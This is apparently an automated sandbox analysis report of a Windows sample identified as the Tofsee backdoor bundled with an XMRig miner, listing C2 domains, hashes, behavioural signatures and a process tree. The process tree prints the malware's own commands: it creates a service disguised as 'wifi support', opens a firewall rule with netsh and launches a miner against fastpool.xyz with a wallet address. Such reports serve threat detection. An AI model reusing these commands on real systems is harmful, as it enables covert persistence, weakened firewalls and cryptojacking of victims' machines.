Analysis

  • max time kernel
    146s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    08/01/2023, 12:11

General

  • Target
    file.exe
  • Size 263KB
  • Sample230108-pclhnade43
  • SHA256 30d76f9058dcd4cecda722eca07c75069de1b183005f968fbcf53e2bd85b8a0e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2500
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\svarqsqg\
      2⤵
        PID:2104
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\aqsfwoz.exe" C:\Windows\SysWOW64\svarqsqg\
        2⤵
          PID:3292
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create svarqsqg binPath= "C:\Windows\SysWOW64\svarqsqg\aqsfwoz.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1892
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description svarqsqg "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4420
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start svarqsqg
          2⤵
          • Launches sc.exe
          PID:1948
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3532
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2500 -s 1036
          2⤵
          • Program crash
          PID:4336
      • C:\Windows\SysWOW64\svarqsqg\aqsfwoz.exe
        C:\Windows\SysWOW64\svarqsqg\aqsfwoz.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3528
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2356
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3804
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3528 -s 540
          2⤵
          • Program crash
          PID:4484
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2500 -ip 2500
        1⤵
          PID:5032
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 3528 -ip 3528
          1⤵
            PID:4412

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                aqsfwoz.exe

                • Path C:\Users\Admin\AppData\Local\Temp\aqsfwoz.exe
                • Size 12.1MB
                • SHA256 f4f982efcbf45a7f2c4633f89e13243fc814d03cc8527a902ed7c5e32f5d9b54
                • MD5 SHA1 SHA512 SSDEEP

                aqsfwoz.exe

                • Path C:\Windows\SysWOW64\svarqsqg\aqsfwoz.exe
                • Size 12.1MB
                • SHA256 f4f982efcbf45a7f2c4633f89e13243fc814d03cc8527a902ed7c5e32f5d9b54
                • MD5 SHA1 SHA512 SSDEEP

                memory/2356-157-0x0000000000690000-0x00000000006A5000-memory.dmp

                memory/2356-164-0x00000000019F0000-0x00000000019F5000-memory.dmp

                memory/2356-170-0x00000000027D0000-0x00000000027D7000-memory.dmp

                memory/2356-167-0x0000000007240000-0x000000000764B000-memory.dmp

                memory/2356-161-0x00000000019E0000-0x00000000019F0000-memory.dmp

                memory/2356-158-0x00000000019D0000-0x00000000019D6000-memory.dmp

                memory/2356-154-0x0000000002200000-0x000000000240F000-memory.dmp

                memory/2356-152-0x0000000000690000-0x00000000006A5000-memory.dmp

                memory/2356-147-0x0000000000690000-0x00000000006A5000-memory.dmp

                memory/2500-132-0x0000000002EAD000-0x0000000002EBE000-memory.dmp

                memory/2500-134-0x0000000000400000-0x0000000002BAA000-memory.dmp

                memory/2500-144-0x0000000000400000-0x0000000002BAA000-memory.dmp

                memory/2500-133-0x0000000002E40000-0x0000000002E53000-memory.dmp

                memory/2500-143-0x0000000002EAD000-0x0000000002EBE000-memory.dmp

                memory/3528-153-0x0000000000400000-0x0000000002BAA000-memory.dmp

                memory/3528-151-0x0000000000400000-0x0000000002BAA000-memory.dmp

                memory/3528-145-0x0000000002E38000-0x0000000002E49000-memory.dmp

                memory/3528-150-0x0000000002E38000-0x0000000002E49000-memory.dmp

                memory/3804-174-0x0000000001200000-0x00000000012F1000-memory.dmp

                memory/3804-179-0x0000000001200000-0x00000000012F1000-memory.dmp